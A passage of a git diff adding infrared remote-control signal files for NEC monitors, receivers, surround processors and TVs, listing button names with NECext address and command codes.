00 00 +command: 09 00 00 00 +# +name: VCR_TV/VCR +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0A 00 00 00 +# +name: FF/SRCH_>> +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0C 00 00 00 +# +name: REW/SRCH_<< +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0D 00 00 00 +# +name: PAUSE/STILL_ +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0E 00 00 00 +# +name: VCR_1 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 10 00 00 00 +# +name: VCR_2 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 11 00 00 00 +# +name: VCR_3 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 12 00 00 00 +# +name: VCR_4 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 13 00 00 00 +# +name: VCR_5 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 14 00 00 00 +# +name: VCR_6 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 15 00 00 00 +# +name: VCR_7 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 16 00 00 00 +# +name: VCR_8 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 17 00 00 00 +# +name: VCR_9 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 18 00 00 00 +# +name: VCR_ANT/AUX +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 19 00 00 00 +# +name: VCR_0 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 1A 00 00 00 +# +name: VCR_RECALL +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 1B 00 00 00 +# +name: VCR_TIMER +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 1C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/NEC/Monitor/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/NEC/Monitor/4,-1.ir new file mode 100644 index 000000000..0e890ad71 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/NEC/Monitor/4,-1.ir @@ -0,0 +1,122 @@ +Filetype: IR signals file +Version: 1 +# +name: TV_CHANNEL_^ +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 00 00 00 00 +# +name: TV_CHANNEL_V +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 01 00 00 00 +# +name: TV_VOLUME_^ +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 02 00 00 00 +# +name: TV_VOLUME_V +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 03 00 00 00 +# +name: TV_POWER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 08 00 00 00 +# +name: TV/VIDEO +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 09 00 00 00 +# +name: TV_MUTE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0A 00 00 00 +# +name: TV_ANT/AUX +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0B 00 00 00 +# +name: TV_0 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 10 00 00 00 +# +name: TV_1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 11 00 00 00 +# +name: TV_2 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 12 00 00 00 +# +name: TV_3 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 13 00 00 00 +# +name: TV_4 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 14 00 00 00 +# +name: TV_5 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 15 00 00 00 +# +name: TV_6 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 16 00 00 00 +# +name: TV_7 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 17 00 00 00 +# +name: TV_8 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 18 00 00 00 +# +name: TV_9 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 19 00 00 00 +# +name: TV_TIMER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1A 00 00 00 +# +name: TV_RECALL +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/NEC/Receiver/25,-1.ir b/assets/resources/infrared/_CSV-IRDB_/NEC/Receiver/25,-1.ir new file mode 100644 index 000000000..5d60160ae --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/NEC/Receiver/25,-1.ir @@ -0,0 +1,44 @@ +Filetype: IR signals file +Version: 1 +# +name: VCR_STOP_[] +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 04 00 00 00 +# +name: VCR_PLAY_> +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 05 00 00 00 +# +name: VCR_REC/PLAY +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 06 00 00 00 +# +name: VCR_POWER +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 08 00 00 00 +# +name: VCR_FF_>> +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0C 00 00 00 +# +name: VCR_REW_<< +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0D 00 00 00 +# +name: VCR_PAUSE_ +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/NEC/Receiver/26,-1.ir b/assets/resources/infrared/_CSV-IRDB_/NEC/Receiver/26,-1.ir new file mode 100644 index 000000000..7f84d09ef --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/NEC/Receiver/26,-1.ir @@ -0,0 +1,32 @@ +Filetype: IR signals file +Version: 1 +# +name: CD_TRACH_>> +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 00 00 00 00 +# +name: CD_TRACK_<< +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 01 00 00 00 +# +name: CD_STOP_[] +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 04 00 00 00 +# +name: CD_PLAY_> +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 05 00 00 00 +# +name: CD_PAUSE_ +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 0E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/NEC/Receiver/26,197.ir b/assets/resources/infrared/_CSV-IRDB_/NEC/Receiver/26,197.ir new file mode 100644 index 000000000..84d176e8a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/NEC/Receiver/26,197.ir @@ -0,0 +1,68 @@ +Filetype: IR signals file +Version: 1 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 1A C5 00 00 +command: 02 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 1A C5 00 00 +command: 03 00 00 00 +# +name: AUDIO_POWER +type: parsed +protocol: NECext +address: 1A C5 00 00 +command: 08 00 00 00 +# +name: AUDIO_MUTE +type: parsed +protocol: NECext +address: 1A C5 00 00 +command: 09 00 00 00 +# +name: REAR_VOLUME_+ +type: parsed +protocol: NECext +address: 1A C5 00 00 +command: 46 00 00 00 +# +name: REAR_VOLUME_- +type: parsed +protocol: NECext +address: 1A C5 00 00 +command: 47 00 00 00 +# +name: SURROUND_SELECTOR +type: parsed +protocol: NECext +address: 1A C5 00 00 +command: 49 00 00 00 +# +name: PRESET_VOLUME +type: parsed +protocol: NECext +address: 1A C5 00 00 +command: 4F 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: 1A C5 00 00 +command: 53 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 1A C5 00 00 +command: 54 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: 1A C5 00 00 +command: 5E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/NEC/Receiver/26,225.ir b/assets/resources/infrared/_CSV-IRDB_/NEC/Receiver/26,225.ir new file mode 100644 index 000000000..e74595893 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/NEC/Receiver/26,225.ir @@ -0,0 +1,62 @@ +Filetype: IR signals file +Version: 1 +# +name: TUNER_1 +type: parsed +protocol: NECext +address: 1A E1 00 00 +command: 10 00 00 00 +# +name: TUNER_2 +type: parsed +protocol: NECext +address: 1A E1 00 00 +command: 11 00 00 00 +# +name: TUNER_3 +type: parsed +protocol: NECext +address: 1A E1 00 00 +command: 12 00 00 00 +# +name: TUNER_4 +type: parsed +protocol: NECext +address: 1A E1 00 00 +command: 13 00 00 00 +# +name: TUNER_5 +type: parsed +protocol: NECext +address: 1A E1 00 00 +command: 14 00 00 00 +# +name: TUNER_6 +type: parsed +protocol: NECext +address: 1A E1 00 00 +command: 15 00 00 00 +# +name: TUNER_7 +type: parsed +protocol: NECext +address: 1A E1 00 00 +command: 16 00 00 00 +# +name: TUNER_8 +type: parsed +protocol: NECext +address: 1A E1 00 00 +command: 17 00 00 00 +# +name: TUNER_9 +type: parsed +protocol: NECext +address: 1A E1 00 00 +command: 18 00 00 00 +# +name: TUNER_0 +type: parsed +protocol: NECext +address: 1A E1 00 00 +command: 1A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/NEC/Receiver/26,228.ir b/assets/resources/infrared/_CSV-IRDB_/NEC/Receiver/26,228.ir new file mode 100644 index 000000000..5cb2e554b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/NEC/Receiver/26,228.ir @@ -0,0 +1,146 @@ +Filetype: IR signals file +Version: 1 +# +name: VOLUME_^ +type: parsed +protocol: NECext +address: 1A E4 00 00 +command: 02 00 00 00 +# +name: VOLUME_V +type: parsed +protocol: NECext +address: 1A E4 00 00 +command: 03 00 00 00 +# +name: FULL_MUTE +type: parsed +protocol: NECext +address: 1A E4 00 00 +command: 09 00 00 00 +# +name: MEMO +type: parsed +protocol: NECext +address: 1A E4 00 00 +command: 0B 00 00 00 +# +name: PRESET_1 +type: parsed +protocol: NECext +address: 1A E4 00 00 +command: 10 00 00 00 +# +name: PRESET_2 +type: parsed +protocol: NECext +address: 1A E4 00 00 +command: 11 00 00 00 +# +name: PRESET_3 +type: parsed +protocol: NECext +address: 1A E4 00 00 +command: 12 00 00 00 +# +name: RESET +type: parsed +protocol: NECext +address: 1A E4 00 00 +command: 1B 00 00 00 +# +name: LEFT_(BALANCE) +type: parsed +protocol: NECext +address: 1A E4 00 00 +command: 40 00 00 00 +# +name: RIGHT_(BALANCE) +type: parsed +protocol: NECext +address: 1A E4 00 00 +command: 41 00 00 00 +# +name: FRONT_(BALANCE) +type: parsed +protocol: NECext +address: 1A E4 00 00 +command: 42 00 00 00 +# +name: REAR_(BALANCE) +type: parsed +protocol: NECext +address: 1A E4 00 00 +command: 43 00 00 00 +# +name: V_FRONT +type: parsed +protocol: NECext +address: 1A E4 00 00 +command: 45 00 00 00 +# +name: REAR +type: parsed +protocol: NECext +address: 1A E4 00 00 +command: 47 00 00 00 +# +name: S.STEREO_(SURROUND) +type: parsed +protocol: NECext +address: 1A E4 00 00 +command: 49 00 00 00 +# +name: DOLBY_(SURROUND) +type: parsed +protocol: NECext +address: 1A E4 00 00 +command: 4A 00 00 00 +# +name: HALL_(SURROUND) +type: parsed +protocol: NECext +address: 1A E4 00 00 +command: 4C 00 00 00 +# +name: STEREO_(SURROUND) +type: parsed +protocol: NECext +address: 1A E4 00 00 +command: 4D 00 00 00 +# +name: VIDEO1 +type: parsed +protocol: NECext +address: 1A E4 00 00 +command: 50 00 00 00 +# +name: VIDEO2 +type: parsed +protocol: NECext +address: 1A E4 00 00 +command: 51 00 00 00 +# +name: A/V +type: parsed +protocol: NECext +address: 1A E4 00 00 +command: 52 00 00 00 +# +name: PHONO +type: parsed +protocol: NECext +address: 1A E4 00 00 +command: 53 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 1A E4 00 00 +command: 54 00 00 00 +# +name: TAPE +type: parsed +protocol: NECext +address: 1A E4 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/NEC/Receiver/26,231.ir b/assets/resources/infrared/_CSV-IRDB_/NEC/Receiver/26,231.ir new file mode 100644 index 000000000..cb8a9c929 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/NEC/Receiver/26,231.ir @@ -0,0 +1,38 @@ +Filetype: IR signals file +Version: 1 +# +name: TAPE_STOP_[] +type: parsed +protocol: NECext +address: 1A E7 00 00 +command: 04 00 00 00 +# +name: TAPE_PLAY_> +type: parsed +protocol: NECext +address: 1A E7 00 00 +command: 05 00 00 00 +# +name: TAPE_REC/PLAY +type: parsed +protocol: NECext +address: 1A E7 00 00 +command: 06 00 00 00 +# +name: TAPE_FF_>> +type: parsed +protocol: NECext +address: 1A E7 00 00 +command: 0C 00 00 00 +# +name: TAPE_REW_<< +type: parsed +protocol: NECext +address: 1A E7 00 00 +command: 0D 00 00 00 +# +name: TAPE_PAUSE_ +type: parsed +protocol: NECext +address: 1A E7 00 00 +command: 0E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/NEC/Receiver/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/NEC/Receiver/4,-1.ir new file mode 100644 index 000000000..901ec4448 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/NEC/Receiver/4,-1.ir @@ -0,0 +1,68 @@ +Filetype: IR signals file +Version: 1 +# +name: TV_POWER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 08 00 00 00 +# +name: TV_0 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 10 00 00 00 +# +name: TV_1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 11 00 00 00 +# +name: TV_2 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 12 00 00 00 +# +name: TV_3 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 13 00 00 00 +# +name: TV_4 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 14 00 00 00 +# +name: TV_5 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 15 00 00 00 +# +name: TV_6 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 16 00 00 00 +# +name: TV_7 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 17 00 00 00 +# +name: TV_8 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 18 00 00 00 +# +name: TV_9 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 19 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/NEC/Surround Processor/13,-1.ir b/assets/resources/infrared/_CSV-IRDB_/NEC/Surround Processor/13,-1.ir new file mode 100644 index 000000000..3fd26c534 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/NEC/Surround Processor/13,-1.ir @@ -0,0 +1,500 @@ +Filetype: IR signals file +Version: 1 +# +name: DELAY_TIME_L&R_+ +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 01 00 00 00 +# +name: DELAY_TIME_L&R_- +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 02 00 00 00 +# +name: DELAY +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 03 00 00 00 +# +name: RESET +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 04 00 00 00 +# +name: SS +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 05 00 00 00 +# +name: TAPE +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 06 00 00 00 +# +name: VOLUME_UP +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 07 00 00 00 +# +name: VOLUME_DOWN +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 08 00 00 00 +# +name: FULL_MUTE +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 0C 00 00 00 +# +name: ECHO +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 10 00 00 00 +# +name: DELAY_TIME_L_+ +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 18 00 00 00 +# +name: DELAY_TIME_L_- +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 19 00 00 00 +# +name: DELAY_TIME_R_+ +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 1A 00 00 00 +# +name: DELAY_TIME_R_- +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 1B 00 00 00 +# +name: OUT1 +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 1C 00 00 00 +# +name: OUT_1_V +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 1D 00 00 00 +# +name: OUT2 +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 1E 00 00 00 +# +name: OUT_2_V +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 1F 00 00 00 +# +name: LEFT_^ +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 40 00 00 00 +# +name: RIGHT_^ +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 41 00 00 00 +# +name: OUT1_L +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 42 00 00 00 +# +name: OUT1_R +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 43 00 00 00 +# +name: OUT2_L +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 44 00 00 00 +# +name: OUT2_R +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 45 00 00 00 +# +name: MEMO +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 46 00 00 00 +# +name: BY-PASS +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 47 00 00 00 +# +name: HALL_SURROUND +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 48 00 00 00 +# +name: MATRIX_SURROUND +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 49 00 00 00 +# +name: DOLBY +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 4A 00 00 00 +# +name: CREATION +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 4B 00 00 00 +# +name: 1_PRESET +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 4C 00 00 00 +# +name: 2_PRESET +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 4D 00 00 00 +# +name: 3_PRESET +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 4E 00 00 00 +# +name: VIDEO1 +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 4F 00 00 00 +# +name: VIDEO2 +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 50 00 00 00 +# +name: VIDEO3 +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 51 00 00 00 +# +name: VIDEO4 +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 52 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 53 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 54 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 55 00 00 00 +# +name: AUX1 +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 56 00 00 00 +# +name: AUX2 +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 57 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 80 00 00 00 +# +name: L/R_+_(DELAY_TIME) +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 81 00 00 00 +# +name: L/R_-_(DELAY_TIME) +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 82 00 00 00 +# +name: DELAY +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 83 00 00 00 +# +name: RESET +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 84 00 00 00 +# +name: CENTER +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 85 00 00 00 +# +name: METER +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 86 00 00 00 +# +name: VOLUME_^ +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 87 00 00 00 +# +name: VOLUME_V +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 88 00 00 00 +# +name: TEST_TONE +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 8A 00 00 00 +# +name: CENTER_MODE +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 8B 00 00 00 +# +name: FULL_MUTE +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 8C 00 00 00 +# +name: DIMMER +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 8E 00 00 00 +# +name: ECHO +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 90 00 00 00 +# +name: L_+_(DELAY_TIME) +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 98 00 00 00 +# +name: L_-_(DELAY_TIME) +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 99 00 00 00 +# +name: R_+_(DELAY_TIME) +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 9A 00 00 00 +# +name: R_-_(DELAY_TIME) +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 9B 00 00 00 +# +name: OUT_1_^ +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 9C 00 00 00 +# +name: OUT_1_V +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 9D 00 00 00 +# +name: OUT_2_^ +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 9E 00 00 00 +# +name: OUT_2_V +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: 9F 00 00 00 +# +name: OUT_1_L_^ +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: C2 00 00 00 +# +name: OUT_1_R_^ +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: C3 00 00 00 +# +name: OUT_2_L_^ +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: C4 00 00 00 +# +name: OUT_2_R_^ +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: C5 00 00 00 +# +name: MEMORY +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: C6 00 00 00 +# +name: STEREO_(SURR_SLCT) +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: C7 00 00 00 +# +name: DOLBY_(SURR_SLCT) +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: C8 00 00 00 +# +name: CREATION_(SURR_SLCT) +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: C9 00 00 00 +# +name: PRESET_1 +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: CC 00 00 00 +# +name: PRESET_2 +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: CD 00 00 00 +# +name: PRESET_3 +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: CE 00 00 00 +# +name: PRESET_4 +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: CF 00 00 00 +# +name: PRESET_5 +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: D0 00 00 00 +# +name: OUT_1_L_V +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: D1 00 00 00 +# +name: OUT_1_R_V +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: D2 00 00 00 +# +name: OUT_2_L_V +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: D3 00 00 00 +# +name: OUT_2_R_V +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: D4 00 00 00 +# +name: CENTER_^ +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: D5 00 00 00 +# +name: CENTER_V +type: parsed +protocol: NECext +address: 0D 00 00 00 +command: D6 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/NEC/Surround Processor/26,228.ir b/assets/resources/infrared/_CSV-IRDB_/NEC/Surround Processor/26,228.ir new file mode 100644 index 000000000..85818d020 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/NEC/Surround Processor/26,228.ir @@ -0,0 +1,146 @@ +Filetype: IR signals file +Version: 1 +# +name: MASTER_VOLUME_^ +type: parsed +protocol: NECext +address: 1A E4 00 00 +command: 82 00 00 00 +# +name: MASTER_VOLUME_V +type: parsed +protocol: NECext +address: 1A E4 00 00 +command: 83 00 00 00 +# +name: FULL_MUTE +type: parsed +protocol: NECext +address: 1A E4 00 00 +command: 89 00 00 00 +# +name: NORMAL +type: parsed +protocol: NECext +address: 1A E4 00 00 +command: 8D 00 00 00 +# +name: WIDE +type: parsed +protocol: NECext +address: 1A E4 00 00 +command: 8E 00 00 00 +# +name: PHANTOM +type: parsed +protocol: NECext +address: 1A E4 00 00 +command: 8F 00 00 00 +# +name: FRONT_LEFT_V +type: parsed +protocol: NECext +address: 1A E4 00 00 +command: 95 00 00 00 +# +name: FRONT_RIGHT_V +type: parsed +protocol: NECext +address: 1A E4 00 00 +command: 96 00 00 00 +# +name: REAR_LEFT_V +type: parsed +protocol: NECext +address: 1A E4 00 00 +command: 97 00 00 00 +# +name: REAR_RIGHT_V +type: parsed +protocol: NECext +address: 1A E4 00 00 +command: 98 00 00 00 +# +name: CENTER_^ +type: parsed +protocol: NECext +address: 1A E4 00 00 +command: 99 00 00 00 +# +name: CENTER_V +type: parsed +protocol: NECext +address: 1A E4 00 00 +command: 9A 00 00 00 +# +name: RESET +type: parsed +protocol: NECext +address: 1A E4 00 00 +command: 9B 00 00 00 +# +name: FRONT_LEFT_^ +type: parsed +protocol: NECext +address: 1A E4 00 00 +command: 9C 00 00 00 +# +name: FRONT_RIGHT_^ +type: parsed +protocol: NECext +address: 1A E4 00 00 +command: 9D 00 00 00 +# +name: REAR_LEFT_^ +type: parsed +protocol: NECext +address: 1A E4 00 00 +command: 9E 00 00 00 +# +name: REAR_RIGHT_^ +type: parsed +protocol: NECext +address: 1A E4 00 00 +command: 9F 00 00 00 +# +name: FRONT_L/R_^ +type: parsed +protocol: NECext +address: 1A E4 00 00 +command: C4 00 00 00 +# +name: FRONT_L/R_V +type: parsed +protocol: NECext +address: 1A E4 00 00 +command: C5 00 00 00 +# +name: REAR_L/R_^ +type: parsed +protocol: NECext +address: 1A E4 00 00 +command: C6 00 00 00 +# +name: REAR_L/R_V +type: parsed +protocol: NECext +address: 1A E4 00 00 +command: C7 00 00 00 +# +name: BY-PASS +type: parsed +protocol: NECext +address: 1A E4 00 00 +command: CD 00 00 00 +# +name: CENTER +type: parsed +protocol: NECext +address: 1A E4 00 00 +command: D5 00 00 00 +# +name: TEST_TONE +type: parsed +protocol: NECext +address: 1A E4 00 00 +command: D6 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/NEC/TV/24,-1.ir b/assets/resources/infrared/_CSV-IRDB_/NEC/TV/24,-1.ir new file mode 100644 index 000000000..1e2ae1834 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/NEC/TV/24,-1.ir @@ -0,0 +1,56 @@ +Filetype: IR signals file +Version: 1 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 02 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 02 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 03 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 03 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 08 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 09 00 00 00 +# +name: VIDEO +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 0A 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 0F 00 00 00 +# +name: RGB/PC +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 58 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/NEC/TV/24,24.ir b/assets/resources/infrared/_CSV-IRDB_/NEC/TV/24,24.ir new file mode 100644 index 000000000..a00180b26 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/NEC/TV/24,24.ir @@ -0,0 +1,68 @@ +Filetype: IR signals file +Version: 1 +# +name: DVD/HD +type: parsed +protocol: NECext +address: 18 18 00 00 +command: 1C 00 00 00 +# +name: WIDE +type: parsed +protocol: NECext +address: 18 18 00 00 +command: AD 00 00 00 +# +name: CUR_UP +type: parsed +protocol: NECext +address: 18 18 00 00 +command: B0 00 00 00 +# +name: CUR_DN +type: parsed +protocol: NECext +address: 18 18 00 00 +command: B1 00 00 00 +# +name: CUR_LF +type: parsed +protocol: NECext +address: 18 18 00 00 +command: B2 00 00 00 +# +name: CUR_RT +type: parsed +protocol: NECext +address: 18 18 00 00 +command: B3 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 18 18 00 00 +command: C0 00 00 00 +# +name: PROCEED +type: parsed +protocol: NECext +address: 18 18 00 00 +command: C4 00 00 00 +# +name: POINTER +type: parsed +protocol: NECext +address: 18 18 00 00 +command: C9 00 00 00 +# +name: ZOOM_+ +type: parsed +protocol: NECext +address: 18 18 00 00 +command: CA 00 00 00 +# +name: ZOOM_- +type: parsed +protocol: NECext +address: 18 18 00 00 +command: CB 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/NEC/TV/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/NEC/TV/4,-1.ir new file mode 100644 index 000000000..e3e1ea1d1 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/NEC/TV/4,-1.ir @@ -0,0 +1,146 @@ +Filetype: IR signals file +Version: 1 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 00 00 00 00 +# +name: CH_^ +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 00 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 01 00 00 00 +# +name: CH_V +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 01 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 02 00 00 00 +# +name: VOL_^ +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 02 00 00 00 +# 